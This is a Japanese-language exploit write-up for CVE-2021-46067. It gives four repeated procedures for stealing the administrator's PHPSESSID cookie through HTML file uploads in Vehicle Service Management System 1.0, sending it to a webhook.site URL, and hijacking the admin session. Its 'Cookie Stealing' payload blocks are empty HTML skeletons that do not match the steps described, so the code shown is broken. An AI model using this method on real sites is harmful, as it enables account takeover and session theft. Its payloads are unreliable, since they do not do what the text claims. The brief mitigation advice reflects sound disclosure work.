CVE-2021-46067
Exploit Title: Vehicle Service Management System - 「複数の」Cookie窃取による完全なアカウント乗っ取り
CVE: CVE-2021-46067
CVSS: 9.8 緊急
References:
Description:
Vehicle Service Management System 1.0 では、攻撃者がCookieを窃取し、完全なアカウント乗っ取りにつながる可能性があります。
1. Vehicle Service Management System - 「MyAccount」(/admin/?page=user)
Exploit:
- 管理者パネル http://localhost/vehicle_service/admin にログインします
- 「My Account」セクション http://localhost/vehicle_service/admin/?page=user に移動します
- Webhook URL を生成します - https://webhook.site
- Webhookの一意のURLをコピーし、以下のHTMLコードに貼り付けます。
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- 上記のHTMLコードを保存します(例:Cookie Stealing.html)
- 「My Account」セクションで必要な情報をすべて入力し、AvatarにHTMLファイルを選択します。
- 「更新」ボタンをクリックします。
- アバター画像を新しいタブで開き、Webhookのステータスを確認します。
- リクエストが取得され、そこにPHPSESSIDが含まれています。
- PHPSESSIDの値をコピーし、別のブラウザを開きます。
- 管理者パネル http://localhost/vehicle_service/admin にアクセスします
- Cookieの値を確認し、PHPSESSIDの値をコピーしたPHPSESSIDの値に変更します。
- 次に、管理者パネル http://localhost/vehicle_service/admin にアクセスします
- アカウントへのログインに成功しました。アカウント乗っ取りが成功しました。
2. Vehicle Service Management System - 「User List」(/admin/?page=user/manage_user)
Exploit:
- 管理者パネル http://localhost/vehicle_service/admin にログインします
- 「User List」セクションに移動し、「Create New」ボタンをクリックします。
- Webhook URL を生成します - https://webhook.site
- Webhookの一意のURLをコピーし、以下のHTMLコードに貼り付けます。
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- 上記のHTMLコードを保存します(例:Cookie Stealing.html)
- 「Create New User」セクションで必要な情報をすべて入力し、AvatarにHTMLファイルを選択します。
- 「保存」ボタンをクリックします。
- アバター画像を新しいタブで開き、Webhookのステータスを確認します。
- リクエストが取得され、そこにPHPSESSIDが含まれています。
- PHPSESSIDの値をコピーし、別のブラウザを開きます。
- 管理者パネル http://localhost/vehicle_service/admin にアクセスします
- Cookieの値を確認し、PHPSESSIDの値をコピーしたPHPSESSIDの値に変更します。
- 次に、管理者パネル http://localhost/vehicle_service/admin にアクセスします
- アカウントへのログインに成功しました。アカウント乗っ取りが成功しました。
3. Vehicle Service Management System - 「Settings-System Logo」(/admin/?page=system_info)
Exploit:
- 管理者パネル http://localhost/vehicle_service/admin にログインします
- 「Settings」セクション http://localhost/vehicle_service/admin/?page=system_info に移動します
- Webhook URL を生成します - https://webhook.site
- Webhookの一意のURLをコピーし、以下のHTMLコードに貼り付けます。
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- 上記のHTMLコードを保存します(例:Cookie Stealing.html)
- 「Settings」セクションで必要な情報をすべて入力し、System LogoにHTMLファイルを選択します。
- 「更新」ボタンをクリックします。
- System Logoの画像を新しいタブで開き、Webhookのステータスを確認します。
- リクエストが取得され、そこにPHPSESSIDが含まれています。
- PHPSESSIDの値をコピーし、別のブラウザを開きます。
- 管理者パネル http://localhost/vehicle_service/admin にアクセスします
- Cookieの値を確認し、PHPSESSIDの値をコピーしたPHPSESSIDの値に変更します。
- 次に、管理者パネル http://localhost/vehicle_service/admin にアクセスします
- アカウントへのログインに成功しました。アカウント乗っ取りが成功しました。
4. Vehicle Service Management System - 「Settings-Website Cover」(/admin/?page=system_info)
Exploit:
- 管理者パネル http://localhost/vehicle_service/admin にログインします
- 「Settings」セクション http://localhost/vehicle_service/admin/?page=system_info に移動します
- Webhook URL を生成します - https://webhook.site
- Webhookの一意のURLをコピーし、以下のHTMLコードに貼り付けます。
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- 上記のHTMLコードを保存します(例:Cookie Stealing.html)
- 「Settings」セクションで必要な情報をすべて入力し、Website CoverにHTMLファイルを選択します。
- 「更新」ボタンをクリックします。
- Website Coverの画像を新しいタブで開き、Webhookのステータスを確認します。
- リクエストが取得され、そこにPHPSESSIDが含まれています。
- PHPSESSIDの値をコピーし、別のブラウザを開きます。
- 管理者パネル http://localhost/vehicle_service/admin にアクセスします
- Cookieの値を確認し、PHPSESSIDの値をコピーしたPHPSESSIDの値に変更します。
- 次に、管理者パネル http://localhost/vehicle_service/admin にアクセスします
- アカウントへのログインに成功しました。アカウント乗っ取りが成功しました。
Impact:
攻撃者が悪意のあるHTMLファイルをアップロードすると、サードパーティのウェブサイトにリダイレクトされ、リクエスト内でCookieが露出します。これにより、完全なアカウント乗っ取りにつながります。
Mitigation:
ファイルアップロード機能を検証し、セッションで二次チェックを実行することを推奨します。